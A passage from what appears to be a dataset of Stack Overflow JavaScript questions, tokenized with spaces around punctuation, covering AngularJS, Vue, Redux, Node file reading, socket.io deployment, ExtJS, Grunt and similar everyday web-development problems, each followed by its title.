... ] this.login = function ( email , password ) { promise = $ http.post ( '/login ' , { 'email ' : email , 'password ' : password } ) ; promise.then ( function ( response ) { console.log ( `` success '' ) ; } ) .catch ( function ( response ) { console.log ( `` catch '' ) ; } ) .finally ( function ( response ) { console.log ( `` finally '' ) ; } ) ; return promise ; } ; [ ... ]",AngularJS promise catch 401 "JS : I ran into a strange snippet of code , which I can not understand at all , here it is : Now , the questions are : Why is this logging 5 , undefined , undefined , 6 instead of undefined , 6 , undefined , 6 ? Why replacing the prototype is not changing the prototype of all the instances of the object , as it would usually do ? What is the V8 engine doing , step by step , in this code ? EDIT : How would I go about changing the prototype of ALL the instances ? Every explanation is appreciated . var obj = function ( ) { } ; obj.prototype.x = 5 ; var instance1 = new obj ( ) ; obj.prototype = { y : 6 } ; var instance2 = new obj ( ) ; console.log ( instance1.x , instance1.y , instance2.x , instance2.y ) ; // 5 , undefined , undefined , 6",What 's the JavaScript 's Object.prototype behavior ? "JS : I tested the following piece of code against IE , Chrome and Firefox and was wondering what causes the differences in the results.Without surprise , in the three browsers , after the second innerHTML change , the divElement object does not refer to the rendered < div > anymore . I have no trouble with that.What I find more interesting is that IE seem to discard divElement 's child . Chrome and FF still allow me to work with the old tag and its children as if they were rendered , but IE turned the tag into an empty shell.What could be the difference in the way the browsers process the innerHTML change that causes this behavior ? var body = document.getElementsByTagName ( 'body ' ) [ 0 ] ; body.innerHTML = ' < div id= '' myId '' > < span > I am a text < /span > < /div > ' ; var divElement = document.getElementById ( 'myId ' ) ; console.log ( divElement.children.length ) ; // All browsers say `` 1 '' ! body.innerHTML = `` ; // just resetting the DOMconsole.log ( divElement.children.length ) ; // Chrome and FF say `` 1 '' , IE says `` Sorry guys , it 's 0 ''",Why does IE discard the innerHTML/children of a DOM element after DOM changes ? "JS : I have a list of Profiles that open an `` edit profile '' screen . This screen slided in from the left . When I select a profile , if there is a screen already selected , I want it to slide out first , change the selected profile data and then slide in.What happens now is : when I first select one element , the screen slides in . When I change the selected element , screen stays and do n't slide out and back in.Here is a gif to show how it 's behaving now : My code is : Vue Method : Html View : CSS : How do I make it properly slide out and then back in when changing a profile ? editProfile : function ( index ) { // this.editingProfile = false ; this.setProfile ( index ) ; this.editingProfile = true ; } < transition name= '' fade '' mode= '' out-in '' > < div v-if= '' editingProfile '' id= '' edit-profile '' > < input placeholder= '' Profile Name '' v-model= '' synced.profiles [ synced.selectedProfile ] .name '' > < /div > < /transition > .fade-enter-active , .fade-leave-active { transition : all .2s ; /* transform : translateX ( 0 ) ; */ } .fade-enter , .fade-leave-to /* .fade-leave-active below version 2.1.8 */ { opacity : 0 ; transform : translateX ( -100 % ) ; }",Vue.js transition on changing selected element from a list "JS : I have two simple models Question and Choice ( one question has multiple choices ) . I have used inline formset to add Choices along with adding Questions ( through modelAdmin functionality ) .Now the fields of Choice and Question are RichTextField defined in django-ckeditor . The issue is when I click on `` Add another choice '' I get an uncaught exception : [ CKEDITOR.editor ] The instance `` id_choice_set-__prefix__-description '' already exists , which disrupts the ckeditor functionality.Any ideas/suggestions how to fix this issue ? I think some JS tweaks can help but I have a very limited knowledge in JS/JqueryThanks class Question ( models.Model ) : category = models.CharField ( max_length=50 ) question_text = RichTextField ( max_length=2000 , verbose_name= '' Question Text '' , blank=True ) class Choice ( models.Model ) : question = models.ForeignKey ( Question ) description = RichTextField ( max_length=500 , verbose_name= '' Choice Description '' ) is_correct = models.BooleanField ( default=False )",django-ckeditor : uncaught exception using inlines "JS : Out of curiosity , i want to know if there is any difference between the two.readFileSync : readFile with promisify : If you need some context , im trying to read a bunch of files in a folder , replace a lot of values in each one , and write it again.I don ` t know if there is any difference in using Asyncronous or Synchronous code for these actions.Full code : function parseFile ( filePath ) { let data = fs.readFileSync ( filePath ) ; } const readFilePromise = promisify ( fs.readFile ) ; async function parseFile ( filePath ) { let data = await readFilePromise ( filePath ) ; } function parseFile ( filePath ) { let data = fs.readFileSync ( filePath ) ; let originalData = data.toString ( ) ; let newData = replaceAll ( originalData ) ; return fs.writeFileSync ( filePath , newData ) ; } function readFiles ( dirPath ) { let dir = path.join ( __dirname , dirPath ) ; let files = fs.readdirSync ( dir ) ; // gives all the files files.map ( file = > parseFile ( path.join ( dir , file ) ) ) ; } function replaceAll ( text ) { text = text.replace ( /a/g , ' b ' ) ; return text ; } readFiles ( '/files ' ) ;",Difference between readFileSync and using promisify on top of readFile with async/await "JS : I want to make a simple CRUD Cross-Platform Mobile Application for my SharePoint server at work . I 'm using PhoneGap to deal with the cross-platform coding - as a result my code will be in HTML , CSS , and JavaScript.The main roadblock I have had is authenticating with my SharePoint server . Many people online have successfully used AJAX calls , however I receive the following error : The following is my JavaScript code : I understand the browser is sending a pre-flight OPTIONS call . The SharePoint site by default does not support OPTIONS calls . Is there any workaround for this , such as disabling this OPTIONS call or a setting in the webconfig on the SharePoint site that will allow the pre-flight through . Thanks in advance for the help . XMLHttpRequest can not load http : // < DOMAIN > /_vti_bin/authentication.asmx . The request was redirected to 'http : // < DOMAIN > /_layouts/15/error.aspx ? ErrorText=Request % 20format % 20is % 20unrecognized % 2E ' , which is disallowed for cross-origin requests that require preflight . function Authenticate ( ) { $ .support.cors = true ; $ .mobile.allowCrossDomainPages = true ; $ ( `` # topnavcontent '' ) .append ( `` Creating SOAP envelope ... < /br > '' ) ; var soapEnv = `` < soap : Envelope xmlns : xsi=\ '' http : //www.w3.org/2001/XMLSchema-instance\ '' xmlns : xsd=\ '' http : //www.w3.org/2001/XMLSchema\ '' xmlns : soap=\ '' http : //schemas.xmlsoap.org/soap/envelope/\ '' > '' + `` < soap : Body > '' + `` < Login xmlns=\ '' http : //schemas.microsoft.com/sharepoint/soap/\ '' > '' + `` < username > USERNAME < /username > '' + `` < password > PASSWORD < /password > '' + `` < /Login > '' + `` < /soap : Body > '' + `` < /soap : Envelope > '' ; $ ( `` # topnavcontent '' ) .append ( `` Calling authenticate.asmx ... < /br > '' ) ; $ .ajax ( { url : `` http : // < DOMAIN > /_vti_bin/authentication.asmx '' , type : `` POST '' , data : soapEnv , complete : authenticationResultSuccess , contentType : `` text/xml ; charset=\ '' utf-8\ '' '' , error : authenticationResultError } ) ; }",Creating a Cross-Platform Mobile Application for SharePoint 2013 "JS : I am experimenting with indexeddb , and have some data added to ObjectStore which should have 90 rows . But I can see only 50 rows in Chrome development tools . Is it Chrome that limits the rows , or my code is not adding more than 50 rows ? For example : this code adds only 50 rows/data into store even though I am adding 100 . Thanks forward for ( var i=0 ; i < 100 ; i++ ) { var tmp = `` data '' + i ; store.put ( { question : tmp } ) ; }",Chrome shows only up to 50 rows of indexeddb table data "JS : I have n't found any information on this topic so forgive me please if this is a very weird question.I know JS allows to define properties as accessors meaning they fire a getter or a setter function when used.My question is whether the same can be done to array members.For example , I want a setter function to fire when assigning like this : If this is not possible , are there any other ways one can extend the [ ] operation ? myObj [ 2 ] = 2 /* set function ( value , index ) { console.log ( value + index ) } */",JS : is it possible to define getter functions on array members ? "JS : In most modern OO languages chaining methods together is common , and IMHO elegant , practice . In jquery , for example , you often see code like : Does writing your objects to allow this have a name ? $ ( 'div ' ) .addClass ( 'container ' ) .css ( 'color ' , 'white ' ) .length",Does the pattern where you chain methods in your object by returning a reference to itself have a name ? "JS : How does javascript convert numbers to strings ? I expect it to round the number to some precision but it does n't look like this is the case . I did the following tests : This is the behavior in Safari 6.1.1 , Firefox 25.0.1 and node.js 0.10.21.It looks like javascript displays the 17th digit after the decimal point for ( 0.1 + 0.2 ) but hides it for 0.2 ( and so the number is rounded to 0.2 ) .How exactly does number to string conversion work in javascript ? > 0.1 + 0.20.30000000000000004 > ( 0.1 + 0.2 ) .toFixed ( 20 ) ' 0.30000000000000004441 ' > 0.20.2 > ( 0.2 ) .toFixed ( 20 ) ' 0.20000000000000001110 '",Javascript : string representation of numbers "JS : Consider the following code : When I tap with 2 fingers at the same time I have the following output ( which is cool because is printed two times ) : But when I use more than 2 fingers at the same time I had the same result , what am I doing wrong ? I was expected the log `` start '' as many times as fingers I was using.In the other side touchmove and touchend works well.I have uploaded the code here canvas.addEventListener ( 'touchstart ' , function ( event ) { console.log ( 'start ' ) ; } ) ; I/SnapScrollController ( 26508 ) : setSnapScrollingMode case-default no-opI/chromium ( 26508 ) : [ INFO : CONSOLE ( 69 ) ] `` start '' , source : file : ///android_asset/index.html ( 69 ) I/chromium ( 26508 ) : [ INFO : CONSOLE ( 69 ) ] `` start '' , source : file : ///android_asset/index.html ( 69 )",Android Webview multitouch touchstart event not working with more than 2 fingers "JS : I have an application in which I compose forms using several form components . Now I want to create some kind of a foreign key field which lists the already existing objects and also shows an 'add ' button . This button displays another form component in a modal dialog . That 'sub ' form is simply displayed using < ng-content > . This all works perfectlyI 'll illustrate the situation . This is the template of < form-component > : The template of < form-field > : As you can see < another-form-component > has an @ Output ( ) for it 's save event . This is an EventEmitter.My question is : How can I subscribe to this EventEmitter from the < form-field > component ? I would like to know when the form is saved so I can close the < modal-dialog > .Remember : The form is passed using < ng-content > . Can I use @ ViewChildren to get the children of < form-field > and use some sort of addEventListener ( ) method ? Does something like that even exist ? Hope you can help me ! Greetings , Johan < form class= '' form '' > < form-field > < another-form-component ( save ) = '' handleSave ( ) '' > < /another-form-component > < /form-field > < /form > < modal-dialog-component [ ( visible ) ] = '' showForm '' > < ! -- Here the < another-form-component > which was passed to < form-field > is added : -- > < ng-content > < /ng-content > < /modal-dialog-component > < div class= '' form-field '' > < select > < ! -- existing options -- > < /select > < button ( click ) = '' openForm ( $ event ) ; '' > Create new < /button > < /div >",Can I 'observe ' the dynamic children of a component ? JS : I want to create a task defined by a macrodef within a script element . I was hoping to find that there would be 'set ' functions corresponding to each attribute . No such luck . Is there some other API for specifying the attributes ? var statustask = project.createTask ( `` service-status '' ) ; statustask.setPath ( project.getProperty ( `` path '' ) ) ; statustask.setStatusproperty ( `` status '' ) ; statustask.setTimeout= ( `` 1 '' ) ; // this is n't suppose to take a long time . statustask.perform ( ) ;,macrodef versus script versus javascript "JS : I 've been following a great course on how to build a server-side rendered app with React and Redux , but I 'm now in a situation that the course does n't cover and I ca n't figure out by myself . Please consider the following component ( it 's pretty basic , except for the export part at the bottom ) : The above works fine : the loadData function makes an API request to fetch some data , which is fed into the component through the mapStateToProps function . But what if I wanted to fire multiple action creators in that same loadData function ? The only thing that kind of works is if I write the function like this : but this is not great because I need all data to be returned ... Keep in mind that the exported Component ends up in the following route configuration : and here 's how the loadData function is used once the component is needed by a certain route : Also , here 's an example of the actions fired by the action creators . They all return promises : and the reducer : class HomePage extends React.Component { componentDidMount ( ) { this.props.fetchHomePageData ( ) ; } handleLoadMoreClick ( ) { this.props.fetchNextHomePagePosts ( ) ; } render ( ) { const posts = this.props.posts.homepagePosts ; const featuredProject = this.props.posts.featuredProject ; const featuredNews = this.props.posts.featuredNews ; const banner = this.props.posts.banner ; const data = ( posts & & featuredProject & & featuredNews & & banner ) ; if ( data == undefined ) { return < Loading / > ; } return ( < div > < FeaturedProject featuredProject= { featuredProject } / > < FeaturedNews featuredNews= { featuredNews } / > < Banner banner= { banner } / > < PostsList posts= { posts } heading= '' Recently on FotoRoom '' hasSelect= { true } / > < LoadMoreBtn onClick= { this.handleLoadMoreClick.bind ( this ) } / > < /div > ) ; } } function mapStateToProps ( { posts } ) { return { posts } } export default { component : connect ( mapStateToProps , { fetchHomePageData , fetchNextHomePagePosts } ) ( HomePage ) , loadData : ( { dispatch } ) = > dispatch ( fetchHomePageData ( ) ) } ; function loadData ( store ) { store.dispatch ( fetchFeaturedNews ( ) ) ; return store.dispatch ( fetchHomePageData ( ) ) ; } export default { component : connect ( mapStateToProps , { fetchHomePageData , fetchNextHomePagePosts } ) ( HomePage ) , loadData : loadData } ; const Routes = [ { ... App , routes : [ { ... HomePage , // Here it is ! path : '/ ' , exact : true } , { ... LoginPage , path : '/login ' } , { ... SinglePostPage , path : '/ : slug ' } , { ... ArchivePage , path : '/tag/ : tag ' } , ] } ] ; app.get ( '* ' , ( req , res ) = > { const store = createStore ( req ) ; const fetchedAuthCookie = req.universalCookies.get ( authCookie ) ; const promises = matchRoutes ( Routes , req.path ) .map ( ( { route } ) = > { return route.loadData ? route.loadData ( store , req.path , fetchedAuthCookie ) : null ; } ) .map ( promise = > { if ( promise ) { return new Promise ( ( resolve , reject ) = > { promise.then ( resolve ) .catch ( resolve ) ; } ) ; } } ) ; ... } export const fetchHomePageData = ( ) = > async ( dispatch , getState , api ) = > { const posts = await api.get ( allPostsEP ) ; dispatch ( { type : 'FETCH_POSTS_LIST ' , payload : posts } ) ; } export default ( state = { } , action ) = > { switch ( action.type ) { case 'FETCH_POSTS_LIST ' : return { ... state , homepagePosts : action.payload.data } default : return state ; } }",How to dispatch multiple action creators ( React + Redux + Server-side rendering ) "JS : I use Module Pattern in my Javascript application , and I want to migrate to RequireJS and AMD.My current implementation is like this : In my index.html I use script html tags to include my different modules files and everything is working fine.My question are :1/ Why RequireJS system is better than this multiple script tags system ? With my current RequireJS approach :2/ How could I migrate to RequireJS modules and keep the singleton-like pattern that my actual modules provide with embedded sub classes ? obviously there is several problems :2.1/ *m_stuff can not instantiate my.Pear , and I do n't know how to split modules in several files with require ? *2.2/ If I have two other modules that both are dependent on myModule , will the myModule var be the same instance in those module ( since myModule is not in the global scope anymore ) ? edit : this quick schema illustrate what I need to do , in a much more complex framework : schema // Module main : Module.jsvar myModule = ( function ( my , $ , undefined ) { 'use strict ' ; var m_privateMembers ; var m_stuff = new my.Pear ( { color : '' green '' } ) ; // -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - function privateFunctions ( args ) { } // -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - my.publicFunctions = function ( args ) { } ; return my ; } ) ( myModule || { } , jQuery ) ; // Module class Fruit : Module.Fruit.jsvar myModule = ( function ( my , $ , undefined ) { 'use strict ' ; my.Fruit = Object.makeSubclass ( ) ; my.Fruit.prototype._init = function ( ) { } ; my.Fruit.prototype.someClassFunction = function ( ) { } ; return my ; } ) ( myModule || { } , jQuery ) ; // Module class Pear : Module.Pear.jsvar myModule = ( function ( my , $ , undefined ) { 'use strict ' ; my.Pear = Fruit.makeSubclass ( ) ; my.Pear.prototype._init = function ( args ) { this.m_someClassMember = args ; } ; my.Pear.prototype.someClassFunction = function ( ) { } ; return my ; } ) ( myModule || { } , jQuery ) ; define ( [ 'jquery ' ] , function ( $ ) { var myModule = ( function ( my , $ , undefined ) { 'use strict ' ; var m_privateMembers ; var m_stuff = new my.Pear ( { color : '' green '' } ) ; // -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - function privateFunctions ( args ) { } // -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - my.publicFunctions = function ( args ) { } ; return my ; } ) ( myModule || { } , $ ) ; return myModule ; } ) ;",Migration from simple Module pattern to RequireJS AMD "JS : I 'm new to Mean.io and I 'm trying to aggregate an external .js file to my package but I 'm doing it wrong because it is not being added to aggregated.js.This is what I 've done : The important line is : importer.aggregateAsset ( 'js ' , 'xml2json.min.js ' ) ; My asset ( xml2json.min.js ) is located under importer/public/assets/js/xml2json.min.js.I need someone to explain me where to put that asset so Mean.io locates that file.Thanks . importer.register ( function ( app , auth , database ) { importer.aggregateAsset ( 'js ' , 'xml2json.min.js ' ) ; //We enable routing . By default the Package Object is passed to the routes importer.routes ( app , auth , database ) ; //We are adding a link to the main menu for all admin users VavelImporter.menus.add ( { title : 'importer example page ' , link : 'importer example page ' , roles : [ 'admin ' ] , menu : 'main ' } ) ; return importer ; } ) ;",How to aggregate JS assets on Mean.io "JS : This is my first question on SO.When I splice an element of an array on the scope , that change is not reflected , when done in a callback of bootbox.js.Works : Does not work : I 'm mainly interested in understanding the why . This is much more important to me than having a fancy workaround.I created a Plunker to show the effect $ scope.deleteA = function ( ) { if ( confirm ( `` Really delete Item 3 ? '' ) ) { $ scope.itemsA.splice ( 2 , 1 ) ; } } $ scope.deleteB = function ( ) { bootbox.confirm ( `` Really delete Item 3 ? `` , function ( answer ) { if ( answer === true ) { $ scope.itemsB.splice ( 2 , 1 ) ; } } ) ; }",Angular $ scope wo n't update in bootbox callback "JS : I have deployed a real-time drawing application to Google Cloud , where multiple users can see others draw and join in too . The problem I have been having with my code is this part : When the address is left like this , I often get errors displayed to the console such as WebSocket Error : Incorrect HTTP response . Status code 400 , Bad Request when testing on IE or Firefox ca n't establish a connection to the server at wss : //bla-bla-1234.appspot.com/socket.io/ ? EIO=3 & transport=websocket & sid=ULP5ZcoQpu0Y_aX6AAAB . when testing on Firefox.I have changed the parameters of var socket = io.connect ( ) ; so much just to see if I can see some live drawing , in some cases I have been able to but not smooth drawing , Where multiple lines will come up on the screen by one user , when all you 're doing is drawing the line once . And often come up with errors such as : Websocket connection to '//bla-bla-1234.appspot.com/socket.io/ ? EIO=3 & transport=websocket & sid=dJqZc2ZutPuqU31HAAX ' failed : Error during WebSocket handshake : Unexpected response code : 400.Here is what allows the connection to server and what allows the data to be displayed to all clients connected on the client.js file , this is not all the code but I felt this part was the most relevant to this issue : I have tried to add a port ( 8080 ) within the parameter but only to receive an error such as this : I guess my guess my question is , how do I go about figuring out the right address within the parameters and have it work as in intended ( live ) smoothly ? Thanks in advance . var socket = io.connect ( `` http : //bla-bla-1234.appspot.com:8080 '' ) ; var socket = io.connect ( `` bla-bla-1234.appspot.com '' ) ; socket.on ( 'draw_line ' , function ( data ) { var line = data.line ; context.beginPath ( ) ; context.strokeStyle = `` # 33ccff '' ; context.lineJoin = `` round '' ; context.lineWidth = 5 ; context.moveTo ( line [ 0 ] .x , line [ 0 ] .y ) ; context.lineTo ( line [ 1 ] .x , line [ 1 ] .y ) ; context.stroke ( ) ; } ) ; XMLHttpRequest : Network Error 0x2efd , Could not complete the operation due to error 00002efd .",I 'm not sure what I 'm missing to make this app work correctly on Google Cloud when it comes to Websockets "JS : Previously in ext 3.0 we had Tree Panel built from XML response.For that we had custom class extending 'Ext.tree.TreeLoader'This TreeLoader was useful to build tree structure ( parent/child nodes ) .While migrating to 4.0 found that TreeLoader class is missing.Is there any replacement to this class or any other way to build tree structure ? I want to generate tree structure for following xml : Actually , I want to build tree structure from this XML : Any help is appreciated . < ? xml version= ' 1.0 ' ? > < Root > < Folder > < CreateDate > Apr 29 , 2011 < /CreateDate > < CreatedBy > 1000 < /CreatedBy > < Files/ > < FolderName > Testing < /FolderName > < FolderNamePath/ > < FolderPath/ > < Folders > < Folder > < CreateDate > Apr 6 , 2011 < /CreateDate > < CreatedBy > 1000 < /CreatedBy > < Files/ > < FolderName > JayM < /FolderName > < Folders > < Folder > < CreateDate > Apr 6 , 2011 < /CreateDate > < CreatedBy > 1000 < /CreatedBy > < Files/ > < FolderName > JaM < /FolderName > < Id > 2000 < /Id > < ModDate > Dec 30 , 2011 < /ModDate > < ParentFolderId > 1948 < /ParentFolderId > < /Folder > < /Folders > < Id > 1948 < /Id > < ModBy > 1000 < /ModBy > < ModDate > Dec 30 , 2011 < /ModDate > < ParentFolderId > 1 < /ParentFolderId > < /Folder > < Folder > < CreateDate > Dec 2 , 2011 < /CreateDate > < CreatedBy > 1000 < /CreatedBy > < Files/ > < FolderName > demo folder < /FolderName > < Folders/ > < Id > 2427 < /Id > < ModBy/ > < ModDate/ > < ParentFolderId > 1 < /ParentFolderId > < /Folder > < /Folders > < Id > 1 < /Id > < ModBy/ > < ModDate/ > < ParentFolderId/ > < /Folder > < /Root >",Migration from ExtJS 3.0 to 4.0 "JS : This code appends the captured image into the body of popup.html . But what I want is insted of appending the image to the popup body i would like to open new tab using chrome.tabs.create ( { url : '' newtab.html '' ) and append the captured image to this newtab.html . ( the 'newtab.html ' is already in the path folder ) .Thanks in advance chrome.tabs.query ( { active : true , currentWindow : true } , function ( tabs ) { chrome.tabs.captureVisibleTab ( null , { format : `` png '' } , function ( src ) { $ ( 'body ' ) .append ( `` < img src= ' '' + src + `` ' > '' + tabs [ 0 ] .url + `` < /img > '' ) ; //appends captured image to the popup.html } ) ; } ) ;",Chrome extension-Open the captured screen shot in new tab "JS : I have a gruntfile setup so that I can develop my local angularjs frontend while forwarding all api requests to a java middle tier hosted seperately on the network.This works great except the location of the server changes every few days and I have to continuously update the gruntfile with the latest server location.The latest server location can be found by a URL shortening service that forwards to the correct location , so I can fetch it with this grunt task/node.js code : Of course this is asynchonous , and when I run it , grunt has already setup the proxy by the time the request completes.How can I run this nodejs request synchronously or block grunt until it completes ? This is just for development so hacky solutions welcomed.ThanksEDIT : Great answer Cory , that has mostly solved the problem as grunt now waits for the task to complete before continuing . One last issue is that I ca n't access that config from the initConfig for setting the proxy as initConfig runs first : This post ( Access Grunt config data within initConfig ( ) ) outlines the issue but I 'm not sure how I could run the request synchronously outside of a task ? EDIT2 [ solved ] : Corys answer + this post Programmatically pass arguments to grunt task ? solved the issue for me . grunt.registerTask ( 'setProxyHost ' , 'Pings the url shortener to get the latest test server ' , function ( ) { request ( 'http : //urlshortener/devserver ' , function ( error , response , body ) { if ( ! error ) { var loc = response.request.uri.href ; if ( loc.slice ( 0 , 7 ) === 'http : // ' ) { proxyHost = loc.slice ( 7 , loc.length - 1 ) ; } } } ) ; } ) ; module.exports = function ( grunt ) { [ ... ] grunt.initConfig ( { connect : { proxies : [ { host : grunt.config.get ( 'proxyHost ' ) module.exports = function ( grunt ) { [ ... ] grunt.initConfig ( { connect : { proxies : [ { host : ' < % = proxyHost % > ' ,",Run grunt task asynchronously before another task "JS : I 'm having a problem that I see really lots of people having but I simple ca n't solve it from the similar questions I 've found.I 'm using a v-for in a Vue Component and the value of the array always gives me a warning saying that variable is missing : [ Vue warn ] : Property or method `` text '' is not defined on the instance but referenced during render . Make sure that this property is reactive , either in the data option , or for class-based components , by initializing the property.I 've created a jsfidle for it : If I change the { { text } } to { { texts [ 0 ] } } ( see it in https : //jsfiddle.net/hdm7t60c/3/ ) I get bbbbb but it does n't iterate and I get the error too.This is the tip of the iceberg on a problem I 'm having , but maybe if I solve this , I can get everything right . < template > < section > < section : v-for= '' text in texts '' > { { text } } < /section > < /section > < /template > < script lang= '' ts '' > import { Component , Vue } from `` vue-property-decorator '' ; @ Component < Map > ( { data ( ) { return { texts : [ `` bbbbb '' , `` xxxxx '' ] } ; } } ) export default class Map extends Vue { } < /script >",Vue.js - v-for `` property or method is not defined '' "JS : I want the button itself to change its color when online ( based on internet connection ) to green otherwise gray.I have a JS fiddle which gives a solution to click the button and we can see if we are online/offline by an alert.Can someone please helpHTML : jQuery : See JSFiddle . < div data-role= '' page '' id= '' index '' > < div data-theme= '' a '' data-role= '' header '' > < h3 > First Page < /h3 > < a href= '' # second '' class= '' ui-btn-right '' > Next < /a > < /div > < div data-role= '' content '' > < a data-role= '' button '' id= '' check-connection '' > Check internet connection < /a > < /div > < /div > $ ( document ) .on ( 'pagebeforeshow ' , ' # index ' , function ( ) { $ ( document ) .on ( 'click ' , ' # check-connection ' , function ( ) { var status = navigator.onLine ? 'online ' : 'offline ' ; ( alert ( status ) ) ; } ) ; } ) ;",Based on internet connection change color of button to green or grey "JS : Is there any requirement on how many random bits Math.random is supposed to produce ? I did some tests on Chrome and Firefox 's implementations , converting the results to hex to examine the bits , and Firefox 27.0.1 gives results likewhereas Chrome Version 33.0.1750.154 m giveswhich is godawful in comparison . It appears to be a 32-bit result , whereas Firefox 's values seem to use 53 random bits . 0x1.de619579d56f3p-10x1.ef1ada9306decp-20x1.df3b75e208ce6p-1 0x1.1190f39c00000p-20x1.b959e3b600000p-10x1.90f614b400000p-2",Math.random number of random bits "JS : I 'm trying to teach a neural network to decide where to go based on its inputted life level . The neural network will always receive three inputs [ x , y , life ] . If life = > 0.2 , it should output the angle from [ x , y ] to ( 1 , 1 ) . If life < 0.2 , it should output the angle from [ x , y ] to ( 0 , 0 ) .As the inputs and outputs of neurons should be between 0 and 1 , I divide the angle by 2 *Math.PI . Here is the code : Try it out here : jsfiddleSo when I enter the following input [ 0 , 1 , 0.19 ] , I expect the neural network to output something close to [ 0.75 ] ( 1.5PI / 2PI ) . But my results are completely inconsistent and show no correlation with any input given at all.What mistake am I making in teaching my Neural network ? I have managed to teach a neural network to output 1 when input [ a , b , c ] with c = > 0.2 and 0 when input [ a , b , c ] with c < 0.2 . I have also managed to teach it to output an angle to a certain location based on [ x , y ] input , however I ca n't seem to combine them.As requested , I have written some code that uses 2 Neural Networks to get the desired output . The first neural network converts life level to a 0 or a 1 , and the second neural network outputs an angle depending on the 0 or 1 it got outputted from the first neural network . This is the code : Try it out here : jsfiddleAs you can see in this example . It manages to reach the desired output quite closely , by adding more iterations it will come even closer . var network = new synaptic.Architect.Perceptron ( 3,4,1 ) ; for ( var i = 0 ; i < 50000 ; i++ ) { var x = Math.random ( ) ; var y = Math.random ( ) ; var angle1 = angleToPoint ( x , y , 0 , 0 ) / ( 2 * Math.PI ) ; var angle2 = angleToPoint ( x , y , 1 , 1 ) / ( 2 * Math.PI ) ; for ( var j = 0 ; j < 100 ; j++ ) { network.activate ( [ x , y , j/100 ] ) ; if ( j < 20 ) { network.propagate ( 0.3 , [ angle1 ] ) ; } else { network.propagate ( 0.3 , [ angle2 ] ) ; } } } // This network outputs 1 when life = > 0.2 , otherwise 0var network1 = new synaptic.Architect.Perceptron ( 3,3,1 ) ; // This network outputs the angle to a certain point based on lifevar network2 = new synaptic.Architect.Perceptron ( 3,3,1 ) ; for ( var i = 0 ; i < 50000 ; i++ ) { var x = Math.random ( ) ; var y = Math.random ( ) ; var angle1 = angleToPoint ( x , y , 0 , 0 ) / ( 2 * Math.PI ) ; var angle2 = angleToPoint ( x , y , 1 , 1 ) / ( 2 * Math.PI ) ; for ( var j = 0 ; j < 100 ; j++ ) { network1.activate ( [ x , y , j/100 ] ) ; if ( j < 20 ) { network1.propagate ( 0.1 , [ 0 ] ) ; } else { network1.propagate ( 0.1 , [ 1 ] ) ; } network2.activate ( [ x , y,0 ] ) ; network2.propagate ( 0.1 , [ angle1 ] ) ; network2.activate ( [ x , y,1 ] ) ; network2.propagate ( 0.1 , [ angle2 ] ) ; } }",How to correctly train my Neural Network "JS : I 've found a weird issue . given a filter and an array of objects , I would like to select only those objects that match the filter . Weirdly , this does n't workwhile this doesI originally thought they would evaluate the same , but it does n't seem to be the case . Any ideas why ? this.state.articles.filter ( ( article ) = > { article.category === filter } ) this.state.articles.filter ( ( article ) = > article.category === filter )",How is ( ) = > { ... } different from ( ) = > "JS : I have an element with a transition applied to it . I want to control the transition by adding a class to the element which causes the transition to run . However , if I apply the class too quickly , the transition effect does not take place.I 'm assuming this is because the .shown is placed onto the div during the same event loop as when .foo is placed onto the DOM . This tricks the browser into thinking that it was created with opacity : 1 so no transition is put into place.I 'm wondering if there is an elegant solution to this rather than wrapping my class in a setTimeout.Here 's a snippet : var foo = $ ( ' < div > ' , { 'class ' : 'foo ' } ) ; foo.appendTo ( $ ( 'body ' ) ) ; setTimeout ( function ( ) { foo.addClass ( 'shown ' ) ; } ) ; .foo { opacity : 0 ; transition : opacity 5s ease ; width : 200px ; height : 200px ; background-color : red ; } .foo.shown { opacity : 1 ; } < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js '' > < /script >",Why is setTimeout needed when applying a class for my transition to take effect ? "JS : I have two routes in my Aurelia app , a list ( Work ) and a detail ( WorkDetail ) .In the navigation , I only have the list route : When I navigate to the WorkDetail view , I would like to set the Work route as active in the navigation.What I 've tried so far is setting the route active in the activate ( ) callback of the WorkDetail view and inactive on deactivate ( ) : The problem I 'm experiencing is that on the first activation , the `` Work '' nav item is n't displayed as `` active '' . If I nav to another WorkItem , it will be set as `` active '' .Why is that nav item only set as active on a subsequent nav action ? or , is there a better way to set a parent/related navigation item as `` active '' ? Here 's my app.js if you 're interested : https : //gist.github.com/alsoicode/37c5699f29c7562d2bf5 Home | *Work* | Contact | . . . import { inject } from 'aurelia-framework ' ; import { Router } from 'aurelia-router ' ; @ inject ( Router ) export class WorkDetail { constructor ( router ) { this.workRoute = router.routes [ 2 ] .navModel ; } ; activate ( params , routeConfig , navigationInstruction ) { this.workRoute.isActive = true ; } ; deactivate ( ) { this.workRoute.isActive = false ; } ; }",Setting a `` related '' route as active in Aurelia "JS : With AngularJS interceptors , is it possible to differentiate my app calls to $ http ( direct either through $ resource ) from requests made by Angular itself for static resources , like views , without checking URLs ? I 'm adding custom authorization header in HTTP interceptor like this : It works fine but I do n't need authorization for static resources and my server does n't check them . I could check URLs and skip on those starting with '/app ' ( in my case ) but I wonder is there an elegant solution ? transparentAuthServices.factory ( 'authHttpInterceptor ' , function ( localSessionStorage ) { return { 'request ' : function ( config ) { if ( ! config.ignoreAuthInterceptor & & localSessionStorage.hasSession ( ) ) { var sessionId = localSessionStorage.getSession ( ) .sessionId ; config.headers [ 'Authorization ' ] = 'ARTAuth sessionId= '' ' + sessionId + ' '' ' ; return config ; } else { return config ; } } } } ; } ) ;",Differentiate between app calls to $ http and Angular 's requests for static resources in interceptor "JS : I want to create a grunt file that runs 3 grunt tasks serially one after another regardless of whether they fail or pass . If one of the grunts task fails , I want to return the last error code.I tried : with the -- force option when running.The problem with this is that when -- force is specified it returns errorcode 0 regardless of errors.Thanks grunt.task.run ( 'task1 ' , 'task2 ' , 'task3 ' ) ;",Gruntfile getting error codes from programs serially "JS : How would I go about writing a lightweight javascript to javascript parser . Something simple that can convert some snippets of code.I would like to basically make the internal scope objects in functions public.So something like thisWould compile toDemonstation ExampleMotivation behind this is to serialize the state of functions and closures and keep them synchronized across different machines ( client , server , multiple servers ) . For this I would need a representation of [ [ Scope ] ] Questions : Can I do this kind of compiler without writing a full JavaScript - > ( slightly different ) JavaScript compiler ? How would I go about writing such a compiler ? Can I re-use existing js - > 